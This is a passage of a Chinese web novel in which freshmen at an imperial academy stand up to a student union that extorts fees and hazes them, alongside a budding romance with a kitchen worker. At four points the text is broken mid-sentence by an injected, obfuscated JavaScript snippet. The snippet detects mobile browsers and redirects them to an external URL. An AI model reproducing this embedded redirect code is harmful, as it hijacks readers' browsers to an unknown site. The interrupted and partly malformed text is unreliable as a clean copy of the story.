“少主,遇事切莫冲动。” “项少娘,请多多提点我家少主。” 两人一叠声的应着,在马车上,项如蓁才发现给她的东西多了一个包袱。 “这是什么?” “哦,你那天不是在久安堂换过衣服吗?庆儿给你洗了补好了。平掌柜知道咱关系亲厚,这次让人给我裁制新衣,顺便也比照着你的尺寸给你做了几套。” 项如蓁垂眸道:“你们费心了。” “哎,捎带手的事儿。” 项如蓁笑了笑,没有说话。 两人到了学校才知道,多余准备那么多换洗衣物,压根不让穿。 告示墙上挂着密密麻麻好几页纸的《新生须知》,第一条就是新生需购买两套青衿。除休沐日外,在校内必需着青衿。 青衿,也就是校服。陆续赶到的考生,都挤在告示墙附近,吐槽的吐槽,算账的算账。 “学费一学期八两,青衿两套三两,书本费一两,伙食费每月二两,住宿费每月二两,一共是……” “一共是十六两,”陆锦澜脱口而出,她转身对项如蓁道:“你如果没带够,我这儿有。” 项如蓁掏出钱袋数了数,暗自松了口气,“正好十六两,幸亏把那些猎物都卖了出去,刚好凑够数。” 两人正说着,忽听晏无辛排在队伍里焦急的喊:“锦澜、如蓁,快过来!” 一排六号房还有三个位置,三人一起交费刚好能分到一个宿舍。宿舍是八人间,虽然不知道舍友是谁,但三人能住一起都非常高兴。 三人提着行李乐呵呵的往一零六走,陆锦澜忍不住委婉的问晏无辛:“你昨晚回家了哈,来之前,该办的事都办妥了吗?” 晏无辛嘿嘿一笑,“妥了,我办事,你放心。” 陆锦澜悬着的心彻底放下,想必楼雨眠今早已经开启了新的人生,她也该开启自己的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220247|181489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生活了。 畅快的心情还没持续一刻,就被堵在宿舍区的大门口了。 圆形拱门处横了张桌子,旁边挤满了人。 晏无辛忍不住抱怨:“怎么回事啊?前面动都不动,我手都酸了。” 项如蓁夺过她手里的大包,“我帮你拿。” 陆锦澜见最前面有位相熟的外地同学,喊了一声:“孙乐闻,前面怎么了?” 孙乐闻犹豫了一下挤了出来,低声道:“有几位上一届的学长,说是学生会的,要收每个新生二两银子的宿舍管理费,有几位同学正在和她们理论。” 陆锦澜眉头一皱,“我去看看。” “不好意思,麻烦让一下。”她拍了拍前面人的肩膀,那人回过头一看是她,突然大声道:“大家让一让,陆锦澜来了!” 人群唰一下分开,如海浪一般让出一条通道。 陆锦澜顿时尴尬起来,她还没想好怎么样,就是想先了解一下情况,没想到名人效应太强大,她被架着,不得不硬着头皮上前主事。 项如蓁和晏无辛连忙跟过来,项如蓁低声提醒:“有话好好说,别冲动,咱们以理服人。” 陆锦澜点了点头,拱手道:“请问几位学长,为什么不让我们进去?” 二年级的学长都穿着校服带着名牌,领头的学生会长叫金一淮,长得像只河豚似的,脸鼓鼓着,上下打量她一眼,不屑道:“你就是陆锦澜啊?知道你爱管闲事,但新生向学生会交宿舍管理费是规矩,年年如此。” 陆锦澜:“年年如此?是学院允许的吗?” 金一淮:“那当然。” 陆锦澜诧异道:“那就奇怪了,既然是学院允许的,《新生须知》上为什么没写这一条呢?怎么不和其他费用一起收取呢?” 金一淮一时语塞,不知该如何回答。副会长韩离忙打圆场道:“宿舍管理的工作由学生会来做,费用便由学生会单独收取。各位学妹不要有情绪,我们做工收费是正常的,何况大家能到皇家学院读书,都不差这二两银子,何必闹得彼此不愉快呢?” 此话一出,有人开始动摇。楚易舒道:“我早就说赶紧交钱进去得了,谁差二两银子我给,别堵在这儿啰嗦了,真麻烦。” 陆锦澜和项如蓁猛地看向她,异口同声道:“你懂什么?” 陆锦澜:“本少娘不差这二两银子,单要争这个理。” 项如蓁:“我知道各位在想什么,我是差这二两银子,但此事跟钱没关系。该给的钱我一定给,不该给的钱,我一文都不会给。我们这群人被誉为嬅国精英,各位将来是要做官的,如果连我们都不问是非黑白糊涂行事,百姓还能指望我们为她们主持公理吗?” 楚易舒低着头不说话,陆锦澜忙道:“说得对!什么宿舍管理费?我看就是巧立名目,你们管理什么?我们有什么需要管理的?” 金一淮:“这个……我们每天严加看管出入人员,防止贼人闯入伤害偷盗,保护大家的安全。” 陆锦澜笑道:“那就不用了!大家都有武艺傍身,哪个贼人敢闯进来?我们不用着各位学长保护,你们不必做无用功,这项费用也就免了。来!大家把桌子挪开,自行入住。” 场面瞬间混乱,眼看着众人要一拥而上,金一淮立刻跳到桌子上抓住陆锦澜的衣襟,“你敢硬闯?” 陆锦澜冷笑一声,“你敢动手?” 项如蓁回头一看两人拉扯着,她薅住金一淮的手臂,和陆锦澜合力把人甩飞了出去。 人群外,几位教职人员正疾步赶来。 只听一声惨叫,金一淮重重的砸在来人身上。 众人深吸一口气,“糟了!” 19. 第 19 章 场面顿时安静,连树上的鸟鸣都显得格外吵闹。 学监苗瑾捂着后脑从地上爬起来,狂躁的大喊:“这是怎么回事?” 陆锦澜忙道:“学生会私自收取费用,不交钱不让我们进宿舍,她们先动手的。” 韩离立刻否认:“我们只是按例收费,是她们硬闯,她们先动手打人的,是不是?” 学生会那几个应声虫连忙附和:“是!” “胡说!”晏无辛气道:“明明是你们先动手的,大家都看见了,我们都可以作证,对不对?” 在场的学生会成员四五个,剩下全是新生,就算别人不吭声,同住了三天的十来个外地同学也不会沉默,大家恨不得振臂高呼:“对!学生会先动手的,我们作证!” 苗学监脸色铁青,“都给我住口!” 她不悦的看了看陆锦澜,“又是你,怎么每次闹事都有你?” 陆锦澜理直气壮道:“有不平事自然有不平人,公平公正合理合法就没人闹事了。” 苗学监冷哼一声,对众人道:“学生会收取住宿费是历年来的传统,是我允许的。” 话音刚落,忽听身后有人道:“那又如何?” 四周都是紧张的抽气声,苗学监不敢置信的转过身,惊诧得瞪大了眼睛,“项如蓁你是不是疯了?我是学监。” 项如蓁字字铿锵道:“你是学监,又如何?一个不敢写明的收费款项,一问支支吾吾什么都说不清楚,名目不正去向自然也不明。没有收据,没有凭证,就这么几个人堵在这里索要钱财,和拦路抢劫有什么区别?” 她义正辞严的质问:“难道学监允许,就合理吗?难道历来如此,便对吗?” 苗学监气到发笑,连紧捂着的伤口都感觉不到疼了,“呵呵,我是学监,你们是学生,你们不听我的,想听谁的?” “听律法的!”人群外围观多时的一名学生终于出声。 众人送目过去,只见那人十七八岁的样子,却是少年老成气势凌厉,一双丹凤眼微微上挑,让人不敢直视。 晏无辛连忙拽了拽陆锦澜的袖子,悄声道:“这是不是和你抢人的那个……” 陆锦澜微微点头,那人大步上前,拱手对学监道:“学生晏钰,熟读律法。《大嬅律》第一百六十七条,任何人不得巧立名目私征民财,违者依盗贼论处。征钱五百文以下,笞四十。过五百文者,坐监三月。” 金一淮等人一听,露出慌乱的神色,不安的看向学监。 晏钰又道:“礼部去年三月颁布了《严禁全国公立院校擅征杂费事札付十七州》,要求各校所征项目一律上报,得礼部批复方可征收,不得巧立名色苛索生员,一切费用张榜公示往来留凭。违者,按《大嬅律》私征民财论罪。” 苗学监浑身一震,不知是不是头痛到站不稳,还是怕到腿软,踉跄着退后了两步。 金一淮和韩离忙在左右扶住她,苗学监稳了稳心神:“不知者不罪,何况今日并没有收取费用,此事作罢。可动手伤人不能就这么算了,刚才是谁把人扔出来的?” 项如蓁和陆锦澜站出来,“我们扔的。” 苗学监看了看满手的血迹,咬牙切齿道:“罚你们打扫教室一个月。” 晏无辛忙举手道:“还有我!我也帮手了。” 其实晏无辛那会儿忙着抬桌子,压根没沾上。但她想,她老是慢半拍。吵架她没赶上帮腔,打架她没赶上帮手,现在只能抢一抢帮罚的机会了。 苗学监狠狠地瞪了她一眼,“那罚你们三个打扫教室一个月。” 苗学监真的流了不少血,脸色越来越苍白,金一淮等人扶着她去看医师,学生会的人也跟着灰溜溜的走了。 等那几个人消失在拐角,近百位新生瞬间爆发出一阵热烈的欢呼,陆锦澜一脚踹开碍事的桌子,“进宿舍喽!” 项如蓁终于露出笑意,兴冲冲的扛起三人的行李,“我先去占位置。” 大家一股脑冲进去,奔向各自的房间。 陆锦澜低声问晏无辛,“这个晏钰跟你同姓,是不是你家亲戚?” 晏无辛连连摇头,“在神京,凌晏赵楚都是大姓,跟你们云州姓陆的一样多,我怎么可能都认识?若论起来,或许八竿子能打着。但咱跟她有过节,现在攀亲戚是不是有点晚了?” 陆锦澜眼珠一转,“她肯定不会承认自己去过逢春楼,咱也装没认出来她,混过去算了。” 晏无辛点了点头,两人默契的上前攀谈。 陆锦澜:“晏同学,刚刚多亏了你。初次见面,在下陆锦澜,幸会。” 晏钰微微一笑,“我见过你。” 陆锦澜一愣,“啊?” 晏钰道:“武试那天我在现场围观,已经见识过几位的本事了。陆同学文采风流武艺卓群,事事争先,你的大名早就家喻户晓,何况你我还是同级的新生,我怎么可能不认识你?” 晏无辛笑了笑,“你知道她的大名,自然也知道我了,我可是被写到诗里的。走,咱们去宿舍吧,再带你认识一下如蓁。” 正好晏钰也被分到了一零六,三人同路。陆锦澜推开一零六的门,看见屋里的人不由愣了一下,身临其境的领会到了“冤家路窄”四个字。 一零六一共八个舍友,除了陆锦澜、项如蓁、晏无辛和孙乐闻之外,剩下四个分别是:逢春楼抢人结了梁子,说话阴阳怪气的晏钰;武试那天陆锦澜振臂一呼,考官让神京考生去抓她,被她踹了两脚的神京本地生吴琼梦;武试前一天挑衅项如蓁,被项如蓁狠狠打脸的楚易舒;还有武试当天,和项如蓁拼得你死我活,互相挑了口子见了血的凌照人。 被分在这个房间,陆锦澜感觉自己睡觉都要睁半只眼。 此时凌照人老毛病又犯了,明明项如蓁已经占了三个下铺的床位,还有一个下铺她不占,非要抢放了陆锦澜行李的铺位。 晏无辛看着她就来气,“我说凌照人,先来后到你懂不懂?那天要不是如蓁手下留情,你今天都该入殓了,你还想怎么样?” 凌照人冷笑一声:“没怎么,我就想挨着项如蓁的铺位睡,我要向她学习,不行吗?至于陆锦澜嘛,和我抢,先赢过我再说。” 陆锦澜还没说话,晏无辛已经替她吹道:“你连如蓁都打不过,还想跟锦澜比?我们锦澜可是能一脚踹烂柱子的,你小心脖子搬家。真是的,比就比。锦澜,教训她。” 陆锦澜心说:你想害死我啊?我今天可没吃药,跟凌照人打,容易被打死。 她呵呵一笑,搬起行李放到项如蓁的上铺,对凌照人道:“从今天开始我们就是舍友了,何必针锋相对呢?你想要,给你,我睡上铺就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220248|181489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” “呀!”晏无辛大为震惊,忍不住感慨:“锦澜你真是宽容大度,要我可忍不了。” 项如蓁欣慰的拍了拍她肩膀,“锦澜,你进益了,平掌柜还要我提点你,我看你比我还能包容忍耐。” 陆锦澜笑而不语,她这一下真是出乎预料,不仅凌照人傻愣在那儿,连晏钰都过来说:“也许我说错了,你也不是事事都要争的。” 陆锦澜一装装到底,老神在在道:“哎,做人嘛,小事无需计较,大可相逢一笑泯恩仇。” 晏钰喃喃道:“相逢一笑泯恩仇?好胸怀。” 陆锦澜装了个大的,所有人都以为她打凌照人至少有九分胜算,今日是她放了凌照人一马,连凌照人自己都这么觉得。只有她自己知道,她此时还是个药物选手。 不过按照她目前的生命值,加上她每晚修习,迟早无敌。因为别人会一天天变老,她则是一天天变强。到时候活个几百岁,又老又强又不死,自己都害怕。 现阶段,还是苟一点吧。 大家收拾好铺位,去聆听了新生训话。苗学监头上已经缠了厚厚的纱布,恶狠狠的看着陆锦澜她们说:“严禁打架斗殴,谁再打架就去扫茅房。” 三人悄悄握紧了手,差点笑出声来。 又是训话又是领书本的,折腾了大半天,终于到晚饭时间。 没等去食堂,晏无辛先让大家有个心理准备,“咱们学院的饭,出了名的难吃。” 项如蓁道:“你是没吃过苦,过一段清粥白菜的日子,什么都觉得好吃了。” 陆锦澜劝道:“先去吃吧,实在吃不下再想办法。” 她们交的是包月的伙食费,不吃钱也不给退,不休沐又不准出去,总不能硬饿着,只能无奈的吃食堂。 一进食堂的门,看到大家的脸色就知道餐食水准了,凌照人已经对着餐盘里的菜骂骂咧咧。 项如蓁道:“她也是没吃过苦。” 项如蓁排在最前面,先打了一碗看不见肉的肉汤,喝了一口差点吐出来。 晏无辛:“怎么说?” 项如蓁忍了又忍,只道:“白菜豆腐都比这个强,恐怕这世上没什么比这个肉汤更难吃了。” 说了她又要了一勺炸蘑菇,刚塞到嘴里,整张脸都皱了起来。 项如蓁:“我错了,有比肉汤更难吃的。” 三人对视一眼,脸上都是苦笑。 陆锦澜拎着空餐盘兴致缺缺的排在最后,前面的晏无辛忽然转过头,双眼放光的对她说:“快看!八号窗口的盛饭男人长得不错,虽然只露出一双眼睛,都能看出是个俊俏公子,身材好极了。” 陆锦澜虽然手握男频系统,但是每次听到爹味发言,还是下意识的抵触。她忍不住翻了个白眼,“你有毛病啊?没见过男人啊,食堂的大爷你都不放过。” 她漫不经心的走过去,“一勺米饭。” 里面的人犹豫了一下,“你只吃这么一点吗?” 这个声音,怎么有点像…… 隔着竹帘看不真切,陆锦澜微微俯身,在柜台和竹帘中间的盛饭口,看见了一双令人过目不忘的眼睛。 那人正如她一样,透过狭小的窗口凝望着她,在她注视的目光中悄然摘下了面巾。 陆锦澜猛地瞪大了眼睛,“是你!” 20. 第 20 章 里面的人莞尔一笑,正是刚到神京时初遇的那位白衣公子。 陆锦澜实在太意外了,“好巧,你怎么会在这儿?那天你怎么不打招呼就走了?” “其实我那时候也在逃婚,所以被家里人抓走了,不过我又跑出来了。我就知道,你一定会考中的,恭喜你。” “你没出事就好,我还怕你出了什么意外。或者,故意耍我。对了,你……” 陆锦澜有一万句话要说,后面的同学受不了开始催促,“你打不打饭啊?” 陆锦澜:“打打打,再给我来一勺。” 里面的人笑着又舀了一勺米饭,低声道:“那本书我早就托人还回去了,我还抄录了一本,你要看吗?” “好啊,什么时候方便?我找你拿。” 二人说起来没完,这回不仅后面的同学抱怨,连晏无辛都返回来催她。 “你刚还说我没见过男人,你怎么还跟人聊上了?吃不吃饭了?”晏无辛说着下意识的弯腰朝里面看了一眼,“果然长得……哎?这不是那天耍我那位?你给我出来!” 陆锦澜连忙拦着她,“别破防!有话好好说,这里面有误会。” 里面的人也不高兴,“你怎么还跟这个轻浮的人做朋友?” 陆锦澜一个头两个大,忙道:“这也是误会,回头再跟你解释。” 她拖着晏无辛回到餐桌,晏无辛当即发难:“陆锦澜你不够意思,朋友郎不可抢。如蓁,你快说说她。” 项如蓁干噎着馒头,淡然的问陆锦澜,“你又觊觎无辛的男人了?” “什……什么叫又啊?我承认我上回是看了她那些个应子几眼,但我可没别的心思。再说了,这次这个又不是无辛的男人,她就是大街上跟人家搭讪几句,被人家甩了而已,人家对她没兴趣。” 晏无辛:“对我没兴趣,对你有兴趣?” “有啊,我帮他借书,我们还聊了一路,简直是从诗词歌赋聊到人生哲学,我们还一起被狗撵被人骂,我们至少有故事。你和他,只有误会。” “误会什么?我看就是他人品有问题,莫名其妙耍得我满大街找人。” 陆锦澜连忙解释道:“这个我问过,他怕你纠缠,所以没敢直接拒绝你,只是想了个办法脱身而已。” 晏无辛两手一摊,“我看起来像是会纠缠良家夫男的流氓吗?” 陆锦澜塞了口饭,没回答。 项如蓁决断道:“此男接连招惹了你俩,勾三搭四不是好男人。因为一个男人伤了和气,不值当,你们都不要和他接触了。” 晏无辛:“我同意。” 陆锦澜:“我不同意。” 她心绪复杂的看着项如蓁,“你是我见过的最讲理的人,可以说是不畏一切讲死理的猛人。但是你在性别议题上,实在是有失偏颇。是无辛和我主动去招惹人家,怎么变成了他勾三搭四了?在这个女尊男卑的社会,男人家的清白是多么重要,不要随随便便给人扣上德行有失的帽子。” 项如蓁愣了一下,“你说得也有道理,但不管怎么样,你们两个不要因为这件事伤了姐妹情谊。” 陆锦澜:“反正我不会,要不公平竞争吧,我没意见。” 晏无辛白了她一眼,“竞争个屁,他骂我轻浮,我一分胜算也没有。” 陆锦澜噗嗤一笑,“我回头帮你解释,他也对你有误会。” 晏无辛叹了口气,“算了吧,姐妹如手足,男人如衣服,我懒得跟你抢。” 陆锦澜喜笑颜开,“多谢!以后我要是和他成了,你们都得来喝喜酒。” 项如蓁冷静道:“你不是还有婚约吗?你娘会让你娶一个厨工吗?” 陆锦澜:“……” 晏无辛:“我绝不是出于忮忌,故意泼你冷水。咱们是肝胆相照的朋友,我才提醒你。你这样善良的老实女人最容易被骗了,别看他长得好看,你就神魂颠倒。他这样有心机的男人,不像你想得那么简单。你想啊,他一看就是大户人家的小公子,怎么会沦落到来食堂做厨工?说不定是抱着什么目的接近你,你要留个心眼儿。” 陆锦澜听着这熟悉的话术,心情复杂。 完了!我成了逛青楼但善良单纯容易被心机男骗的大女孩儿了。 她仔细一想,她在这个世界真的干了许多从来没干过也不敢干的事。 偷家里的钱、考试前一天喝到吐、开学第一天害得学监脑袋流血,喝酒斗殴闹事逛青楼,但竟然没有一个人批判她,走到哪儿都有人夸她是大英雌,有女儿气概,纯娘们儿。 连身边的朋友都觉得她好得不得了,生怕她被男人骗了。 而他,只是长得漂亮,什么也没做,就招来无端的揣测。 我的老天奶啊!男频待遇确实爽,但一想到这是个性转版的世界又觉得无比辛酸。 她几次张了张嘴,都不知该如何表达,最后只说出一句:“吃饭吧。” 其实,陆锦澜也好奇白衣公子怎么会出现在这儿的。就算他逃婚从家里跑出来,也不至于来做这么辛苦的工作。 厨工们要准备一日三餐,整日围着灶台吸着油烟,从早到晚的忙活。而且住得地方也很差,后勤人员的宿舍在学院后山靠近树林的位置。这个季节,正是蚊子多的时候,蛇虫鼠蚁什么都有。 厨工们住的是十几个人的大通铺,洗漱都得跑到溪边自己打水。陆锦澜守在厨工宿舍通往溪边的必经之路,见着那人一把将人拉进了小树林。 “别拉拉扯扯的,给人看见还以为我们做什么见不得人的事。” 陆锦澜笑着松开他,关切道:“你是不是太累了?怎么看起来很不高兴的样子?” 男人冷着脸不说话,陆锦澜忙道:“对了,我给你带了牛肉干。学院的伙食真不是人吃的,咱们坐下边吃边聊。” 她找了块青石,把那包肉干摊开,开始自我介绍:“我叫陆锦澜,我……” “我知道。”男人突然打断她的话,“我刚刚知道的。” 陆锦澜涌起一丝不祥的预感,“谁跟你说我的坏话了吗?” 男人摇了摇头,“其实我这些天早就听了不少你的故事,你陆大才女的大名如雷贯耳,只不过我刚刚知道你就是陆锦澜。你是云州人,你娘是云州富商陆今朝,对吧?” 陆锦澜:“对啊,你也听说了我的家世?” “你家里还有姐妹吗?” “有啊,有个小妹,还有两个弟弟。” “小妹多大年纪?” “三岁。” “哦。”男人眼眸低垂,没再问下去。脸倒是不冷了,就是神色黯淡,看起来很是沮丧。 陆锦澜嚼着肉干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她还要说什么,树林外传来项如蓁的声音:“锦澜,新生紧急集合,快走吧!” “来啦!”陆锦澜应了一声,对凛丞道:“我先走了,有什么急事到一零六找我,明天还在这儿见。” 陆锦澜说完就走,凛丞急道:“你还是误会了,我找你只是为了告诉你书的事儿。” 陆锦澜笑着回过身,“那你明天来,我们再说书的事儿。” “我明天不会来的。” “我不信!” “……” 项如蓁看着陆锦澜意气风发的从林子里蹿出来,不禁好奇:“什么事这么高兴?” 陆锦澜:“凛丞是为了我来这儿做厨工的。” 陆锦澜这个得意啊,见到晏无辛立刻炫耀:“我知道凛丞为什么做厨工了。” 晏无辛:“为什么?” 陆锦澜:“为了我。” 项如蓁咳嗽两声,“先别闲聊了,学生会让新生都到礼堂去,咱们别迟到了,免得又起冲突。尤其是你,锦澜,暂时忍耐一二。” 陆锦澜笑着说:“你们放心,我今天心情好,我什么都能忍。” 三人进礼堂时大多数新生已经到了,三人站在最后一排,不一会儿同寝室的晏钰、凌照人等也匆匆赶到。大家站在一起,有的人开始窃窃私语。 楚易舒:“又是学生会这群家伙,仗着比咱们早入学,就摆架子,真想跟她们打一架。” 凌照人骂骂咧咧道:“老娘被折腾一天了,大晚上还不让休息,这叫什么几把事儿?” 晏钰:“别说了,台上的人看着你们呢。” 话音未落,只听啪一声,金一淮手中的教鞭用力击打在桌面上,猛地指向最后一排,“出列受罚!” 21. 第 21 章 礼堂瞬间安静,大家纷纷回头,看向陆锦澜、项如蓁和晏无辛。 在众人注视的目光中,金一淮带着她的部下气势汹汹走下台,直奔队伍后方。 金一淮:“你们三个,给我出列!” 陆锦澜眼睛一蹬,不服道:“我们怎么了?” 金一淮狠瞪了她一眼,“没你的事,你旁边那三个。” 大家这才知道说的是凌照人、楚易舒和晏钰,那三人大概也没料到是奔她们来的,只得自认倒霉的走出队列。 金一淮手执教鞭,一下一下敲打着掌心,教训道:“学生会第一次训诫大会,这么严肃的场合,是你们说闲话的地方吗?在学长面前如此放肆散漫,毫无尊重可言。今天我就拿你们立规矩,给那些自以为是的新生看看,不尊重学长的下场。俯卧撑,两百个。” “什么?”楚易舒简直怀疑自己的耳朵,“两百个俯卧撑?学长,不至于吧?” 金一淮脸色一沉,“讨价还价,拒不执行,惩罚加重,三百个俯卧撑。” 凌照人都被气笑了,“你不过比我们早入学一年而已,就算你是刚上任的学生会长,新官上任三把火,也得看看烧的是谁吧?我告诉你,我姓凌。” 金一淮佯装怔住:“姓凌?凌家哪个府?” 凌照人得意道:“你最怕的那个府。” 金一淮哈哈大笑,笑得凌照人有些发毛,“你笑什么?” “学妹,我笑你天真。你以为我怕你们定北侯府吗?知道你们凌家势大,凌晏赵楚,皇上姓赵,赵家都只能排第三,但那又如何?你也不打听打听,我金一淮用得着怕你吗?” 晏钰沉默多时,此刻若有所思的开口道:“学长是御史令金大人的女儿吧?” 金一淮冷哼一声,“算你有见识。” 嬅国实行三尊六部制,除皇帝外,文武百官以丞相、太尉、御史令三位大臣为尊。 丞相晏维津总管一切行政事物,定北侯凌之静的胞妹凌之冲担任太尉,总揽一切军政事物。而金一淮的娘,便是御史台的第一话事人御史令金云凝,负责监察百官,纠察弹劾,肃正纲纪。 三者分庭抗礼,金一淮确实不必怕凌照人。 她将教鞭横在凌照人颈上,“这里不是定北侯府,这里的规矩我说了算。就算你是皇上的女儿,今天这顿罚你也免不了。” 凌照人自出生起,还没遭受过这种待遇,她紧咬着牙,身侧的手早就握成了拳头。 金一淮转过身,她真想挥拳打过去打她一个冷不防,晏钰忙低声道:“别冲动,学监禁止私下斗殴,何况今晚学生会四十多个人都在,对方人多势众,我们占不到便宜。好女不吃眼前亏,认罚吧。” 凌照人愤恨的放开拳头,三个人认命的撑在地上,开始做俯卧撑。 这时有七八个新生刚刚赶到,一进来便被金一淮厉声呵斥:“迟到的,五百个俯卧撑!” 她说着从三人的头上迈过去,迟到的一看这场面也不敢抵抗,老实认罚。 大夏天,礼堂内的气氛比严冬还冷。 项如蓁眉头紧皱,正准备挺身而出,晏无辛和陆锦澜一左一右死死拉住她。 晏无辛低吼:“你干什么?你为凌照人出头,她也不会念你的好。” 项如蓁:“我根本不在意她怎么想,我是对事不对人,欺辱同学就是不对。” 陆锦澜:“我知道你是正义使者,但你刚刚不是说了吗?尽量不要起冲突,要忍耐!” 是啊,不能再打架了。 项如蓁深吸一口气,无奈的点头。 陆锦澜环顾四周,学生会的人下巴高高扬起,新生们却都低着头。同级最傲慢最有背景的同学被人踩在脚下受罚,兔死狐悲,大家都处在一种忐忑迷茫和无力反抗的困顿中。 霸凌行为,是一种疑难杂症。它在许多群体里蔓延,学校、军队、职场几乎无处不在。施暴者疯狂压迫,管理者默许纵容,旁观者恐惧沉默,受害者只有无力和痛苦。 她知道要解决顽疾,需要一套行之有效的方案。需要各方支持,需要毅力和勇气。需要细细筹谋,徐徐图之。但当事情涌现在眼前时,陆锦澜却忽然转念:需要个屁,干就完了! 哪里有压迫,哪里就有反抗。陆锦澜低声道:“如蓁说得没错,欺辱同学是不对的。” 晏无辛无奈的看了她一眼,弱弱道:“这次要做什么先告诉我一声,你知道我反应慢,跟不上节奏。” 项如蓁急道:“别冲动,先忍一忍,等回去从长计议。” 陆锦澜憋着一口气,听到台上说新生要帮学长做值日的时候,暗道:我忍! 听到新生每两天要帮学长洗一次衣物的时候,她开始计算:啊,这一个月我得每天打扫一次教室,每两天还得去给人家洗一次衣服,我读的是皇家学院还是家务学院?这我都得忍? 听到新生见到学长要行大礼的时候,她开始震惊:串种啦? 哪学来的这套?大家见到院长学监师傅们,也不过是低头拱手微微弯腰。见到学长竟然要鞠躬九十度,以为自己是学祠里供奉的神像,疯了吧? 陆锦澜眼看着学生会的一干爪牙正握着教鞭敲打着新生的脊背,“弯下去,你不会弯腰吗?” 肉/体被击打的声音此起彼伏,这是一场声势浩大的服从性测试,但有的人拒绝服从。 当教鞭朝着陆锦澜挥来的时候,她一把将其握住。 面对金一淮震惊诧异的神情,陆锦澜礼貌道:“我忍你祖宗!” 啪!她夺过教鞭折成两段,朝着台上的讲桌掷了过去。 两截教鞭好似两支利箭,砰砰两声钉进木板,全场惊呼一声,瞬间哗然。 凌照人等做俯卧撑做到要快麻木,看见这一幕一下子趴到地上,目瞪口呆。 学生会那些爪牙也没空监督她们受罚了,迅速朝金一淮靠拢。 项如蓁、晏无辛与陆锦澜背对背而立,瞬间形成防御之势。 陆锦澜冷笑一声,“学监严禁斗殴,你们敢动手吗?” 韩离低声提醒金一淮:“她们三个战力不俗,真动起手来,咱们也得挂彩。众目睽睽之下打起来,回头不好向院长学监她们交代。” 金一淮咬牙看向陆锦澜,“你想怎样?” 陆锦澜:“我想告诉你们,哪里有压迫,哪里就有反抗。” 她看向惶恐不安的新生,高声道:“同学们,我们无需忍受学生会的压迫和羞辱。我们是来读书报国的,为的是济世安民匡扶天下,不是来受气的。学生会不为学生服务, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220250|181489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却要我们做学生会的奴仆,天理何在?我们绝不能屈服,我们应该反抗!这样的学生会没有资格管理我们,我们走!” 三人齐齐转过身,晏无辛悄声嘀咕:“就咱们三个人走出去,好像有点尴尬。” 陆锦澜:“带动一个是一个,团结一切可团结的力量。” 她们路过大汗淋漓趴在地上看戏的那群家伙,三人默契的伸出了手。 晏钰、楚易舒、凌照人对视一眼,纷纷响应,抓住她们的手利落起身,抹了把脸上的汗就跟着走。 人群中不知谁念叨了一句:“都是一零六的啊。” 孙乐闻听见这话拽住吴琼梦赶紧跟上,她算看明白了,两方已经势同水火,同为一零六的舍友,她俩留下也没有好果子吃,不如跟上大部队,至少在宿舍能睡个安稳觉。 八人一走,人心躁动,又有七八道人影从队列里跑出来,紧随其后。 眼瞅着她们就要走出礼堂了,金一淮忙恐吓道:“你们知道跟她们走有什么后果吗?我不会放过你们的。” 陆锦澜停住脚,微微侧身,乌眉微挑,“各位,你们留在这里,她也不会善待你们的。留在这儿只有挨不完的打,做不完的苦工。大妻主生居天地间,岂能郁郁久居人下?” 这话不仅煽动得人心大力摇摆,连项如蓁听了都觉得豪气陡生,她慨然对众人道:“同学们,你可以放心的跟我们走。我项如蓁以今科榜首的信誉发誓,我们这里没有压迫,不分三六九等,我们不会殴打欺辱,只会守望相助。留在这儿只能做她们的奴隶,跟我们走做我们的姐妹,你们还在犹豫什么?” 晏无辛看两人接连发表了一通演讲,她不吭声又要被落下了,赶紧高呼:“是娘们儿就有点骨气,被欺负这样都不敢走,我看你们连男人都不如。” 三人通过语言煽动、信念感召、刻板印象加激将法等混乱组合一通输出,又有二十多名新生追随而来。 大家豪气干云的走出礼堂,金一淮狼狈得下令:“快把门关上!” 陆锦澜粗略一数,竟然有四十来号人跟出来了。除了一零六和外地帮的,其他都是神京本地生,不少还在武试那天动过手。 陆锦澜道:“过去的事就让它过去,从现在开始,我们都是一条船上的人了。我们要团结互助,不能让任何人分化我们。只要我们团结起来,没有人能把我们怎么样。” 项如蓁连连点头,“大家互相认一认,有什么事也好彼此照应。这两天尽量不要单独行动,如果学生会和你们为难,就让她们来一零六找我。” 晏钰担忧道:“咱们已经和学生会撕破脸,她们肯定不会善罢甘休的。咱们一味防守也不是长久之事,二位可有良策?” 项如蓁老实回答:“那倒没有。” “啊?”群众发出了惊慌之声。 项如蓁又道:“不过兵来将挡水来土掩,没什么可怕的。” 